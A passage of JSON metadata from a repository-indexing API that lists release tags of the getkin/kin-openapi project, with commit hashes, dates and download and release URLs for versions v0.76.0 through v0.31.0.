osyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.76.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.76.0/manifests"},{"name":"v0.75.0","sha":"34cafeca29422493b3ac294a217edfba0f490cd4","kind":"commit","published_at":"2021-08-28T10:27:48.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.75.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.75.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.75.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.75.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.75.0/manifests"},{"name":"v0.74.0","sha":"dc944adc1492febff1977923fc2418f9d71290c8","kind":"commit","published_at":"2021-08-16T09:44:09.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.74.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.74.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.74.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.74.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.74.0/manifests"},{"name":"v0.73.0","sha":"9b79d5d4792051e59178a323ab0136b545d06136","kind":"commit","published_at":"2021-08-14T15:50:37.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.73.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.73.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.73.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.73.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.73.0/manifests"},{"name":"v0.72.0","sha":"f16058d959bd18ecfd8be147bc2b11cbe1cd79d8","kind":"commit","published_at":"2021-08-11T14:54:54.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.72.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.72.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.72.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.72.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.72.0/manifests"},{"name":"v0.71.0","sha":"b35b144093fb1c8a02890f979bdc276eaa628f46","kind":"commit","published_at":"2021-08-10T17:10:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.71.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.71.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.71.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.71.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.71.0/manifests"},{"name":"v0.70.0","sha":"fba0a14e84c1efe61f72dd9d5806fc5605fc6f2e","kind":"commit","published_at":"2021-08-07T08:30:38.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.70.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.70.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.70.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.70.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.70.0/manifests"},{"name":"v0.69.0","sha":"7fd2ca16cdda3afc5f9a8b2dab3456a8fa2f662e","kind":"commit","published_at":"2021-08-03T07:27:22.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.69.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.69.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.69.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.69.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.69.0/manifests"},{"name":"v0.68.0","sha":"ed98f50ff5afcacd39585f52ef4cd2b0c3b0752a","kind":"commit","published_at":"2021-07-29T10:55:47.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.68.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.68.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.68.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.68.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.68.0/manifests"},{"name":"v0.67.0","sha":"bde5325550db1fa371168738ec29331e4f646795","kind":"commit","published_at":"2021-07-23T12:08:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.67.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.67.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.67.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.67.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.67.0/manifests"},{"name":"v0.66.0","sha":"6b4444becdebac4ea5658cbe205bac8c27a7ec41","kind":"commit","published_at":"2021-06-28T14:21:02.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.66.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.66.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.66.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.66.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.66.0/manifests"},{"name":"v0.65.0","sha":"19ba1f805a9885f57f111d46cb6cc1b76cfb06cc","kind":"commit","published_at":"2021-06-24T10:16:38.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.65.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.65.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.65.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.65.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.65.0/manifests"},{"name":"v0.64.0","sha":"d30837871e4548501ae7e3fc9ed0f74e35caa53d","kind":"commit","published_at":"2021-06-23T11:45:59.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.64.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.64.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.64.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.64.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.64.0/manifests"},{"name":"v0.63.0","sha":"707e4ba1acb2ff3340c197dde6d4527b9e8bcbec","kind":"commit","published_at":"2021-06-07T14:21:05.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.63.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.63.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.63.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.63.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.63.0/manifests"},{"name":"v0.62.0","sha":"56338d2b64168461d42bd904e82cd6b788a9ef87","kind":"commit","published_at":"2021-05-20T10:38:15.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.62.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.62.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.62.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.62.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.62.0/manifests"},{"name":"v0.61.0","sha":"cc9e37b212eab86de474d58c64f390b717b7bb69","kind":"commit","published_at":"2021-04-26T18:20:59.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.61.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.61.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.61.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.61.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.61.0/manifests"},{"name":"v0.60.0","sha":"f6c20c3128c117d5e2e4eed3b76bea1d75494e86","kind":"commit","published_at":"2021-04-23T20:00:03.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.60.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.60.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.60.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.60.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.60.0/manifests"},{"name":"v0.59.0","sha":"1b47cceae470618e6cc396f57e81cffd5c529ef7","kind":"commit","published_at":"2021-04-23T19:43:22.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.59.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.59.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.59.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.59.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.59.0/manifests"},{"name":"v0.58.0","sha":"a4e36cd21eb51476452efee483ba1f3c12701e5c","kind":"commit","published_at":"2021-04-23T14:19:19.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.58.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.58.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.58.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.58.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.58.0/manifests"},{"name":"v0.57.0","sha":"8407517f2b22e64902956cdf0a4063f9b2eeb77b","kind":"commit","published_at":"2021-04-23T12:41:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.57.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.57.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.57.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.57.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.57.0/manifests"},{"name":"v0.56.0","sha":"983bf118d0a99346a1bb7bdeb14eae0e64154ef3","kind":"commit","published_at":"2021-04-23T11:01:51.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.56.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.56.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.56.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.56.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.56.0/manifests"},{"name":"v0.55.0","sha":"349fb583776dcb4a0fb371d3a43f7ed952d2b206","kind":"commit","published_at":"2021-04-17T09:55:31.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.55.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.55.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.55.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.55.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.55.0/manifests"},{"name":"v0.54.0","sha":"13a13985d18353170014c743b74a36696c20f5f3","kind":"commit","published_at":"2021-04-12T13:21:43.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.54.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.54.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.54.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.54.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.54.0/manifests"},{"name":"v0.53.0","sha":"17153345908503543b50b7b6409f9d030bae0beb","kind":"commit","published_at":"2021-03-23T20:38:46.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.53.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.53.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.53.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.53.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.53.0/manifests"},{"name":"v0.52.0","sha":"2b6e6b53ffdf07231163595a9eca8ddaabca46c8","kind":"commit","published_at":"2021-03-20T19:55:08.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.52.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.52.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.52.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.52.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.52.0/manifests"},{"name":"v0.51.0","sha":"3690b664fe9e5aa8e7e5de77833da7c32d08b6fa","kind":"commit","published_at":"2021-03-19T16:06:33.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.51.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.51.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.51.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.51.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.51.0/manifests"},{"name":"v0.50.0","sha":"3794d148eb07a8562934cd7d4d3ace10dcc37fbd","kind":"commit","published_at":"2021-03-18T17:14:53.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.50.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.50.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.50.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.50.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.50.0/manifests"},{"name":"v0.49.0","sha":"1286d066039886ab13d9fca0947db4d1d5994343","kind":"commit","published_at":"2021-03-08T19:59:49.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.49.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.49.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.49.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.49.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.49.0/manifests"},{"name":"v0.48.0","sha":"96aeb23612d5a53d3ca9a8f3a31783629d6864a1","kind":"commit","published_at":"2021-03-04T08:48:24.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.48.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.48.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.48.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.48.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.48.0/manifests"},{"name":"v0.47.0","sha":"f598766c375cdcb0cbbfde6c9366936510b6e19c","kind":"commit","published_at":"2021-03-03T17:38:23.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.47.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.47.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.47.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.47.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.47.0/manifests"},{"name":"v0.46.0","sha":"ea43ca73b122b9516273ed106c9d58792ce52488","kind":"commit","published_at":"2021-03-03T14:33:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.46.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.46.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.46.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.46.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.46.0/manifests"},{"name":"v0.45.1","sha":"4c01aaedaca1dc836f955591c5fb59d53ba68c16","kind":"commit","published_at":"2021-03-02T16:17:28.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.45.1","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.45.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.45.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.45.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.45.1/manifests"},{"name":"v0.45.0","sha":"89012b7cfdaa0da485d7e198a2300b7edb77e24a","kind":"commit","published_at":"2021-03-01T21:04:50.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.45.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.45.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.45.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.45.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.45.0/manifests"},{"name":"v0.44.0","sha":"bdba5d10c8e88a4d3e24310c918a6fc52c0ac8dc","kind":"commit","published_at":"2021-02-25T17:00:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.44.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.44.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.44.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.44.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.44.0/manifests"},{"name":"v0.43.0","sha":"6d6f1ef76aaa51df4dc9dece4b5a346d184cc6d5","kind":"commit","published_at":"2021-02-23T21:29:14.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.43.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.43.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.43.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.43.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.43.0/manifests"},{"name":"v0.42.0","sha":"b2761ee838a4d9b27bfb84adca6b0abbbbddf62b","kind":"commit","published_at":"2021-02-23T15:54:17.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.42.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.42.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.42.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.42.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.42.0/manifests"},{"name":"v0.41.0","sha":"66fba45fb4b0f663d6a9264285608bcddd467281","kind":"commit","published_at":"2021-02-23T15:30:57.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.41.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.41.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.41.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.41.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.41.0/manifests"},{"name":"v0.40.0","sha":"33fc72130678cdcff6bcb152476c12558942768b","kind":"commit","published_at":"2021-02-23T12:07:06.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.40.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.40.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.40.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.40.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.40.0/manifests"},{"name":"v0.39.0","sha":"66309f4b3e518c98adc86fa99c2c38e268b43745","kind":"commit","published_at":"2021-02-04T06:51:40.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.39.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.39.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.39.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.39.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.39.0/manifests"},{"name":"v0.38.0","sha":"aa9a5c3a388f4bcfef637aa24136eaefa709a6b7","kind":"commit","published_at":"2021-01-29T17:51:13.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.38.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.38.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.38.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.38.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.38.0/manifests"},{"name":"v0.37.0","sha":"be070be7974bcc3661f1898837e4a91fbcb2c87f","kind":"commit","published_at":"2021-01-29T07:37:44.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.37.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.37.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.37.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.37.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.37.0/manifests"},{"name":"v0.36.0","sha":"d4df86a63c4efbaf31aabce8f39555f22a8f1b30","kind":"commit","published_at":"2021-01-19T17:23:32.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.36.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.36.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.36.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.36.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.36.0/manifests"},{"name":"v0.35.0","sha":"4bb44a2e667c709f8c8eb0de17d8bcce67f1b53c","kind":"commit","published_at":"2021-01-05T12:41:59.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.35.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.35.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.35.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.35.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.35.0/manifests"},{"name":"v0.34.0","sha":"f05a91328638d7ae73adfd4298cd9456c7692572","kind":"commit","published_at":"2020-12-23T11:17:14.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.34.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.34.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.34.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.34.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.34.0/manifests"},{"name":"v0.33.0","sha":"9b9280d707773bb764ec07ac7363248d8240343d","kind":"commit","published_at":"2020-12-08T09:11:26.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.33.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.33.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.33.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.33.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.33.0/manifests"},{"name":"v0.32.0","sha":"e8b3436bcf8d9ef0a90735b83ba23a0f651540dc","kind":"commit","published_at":"2020-11-25T22:54:36.000Z","download_url":"https://codeload.github.com/getkin/kin-openapi/tar.gz/v0.32.0","html_url":"https://github.com/getkin/kin-openapi/releases/tag/v0.32.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/getkin/kin-openapi@v0.32.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.32.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/getkin%2Fkin-openapi/tags/v0.32.0/manifests"},{"name":"v0.31.0","sha":"254be1228068a4d2dc5210a03e5680ff1024a3a6","kind":"commit","publi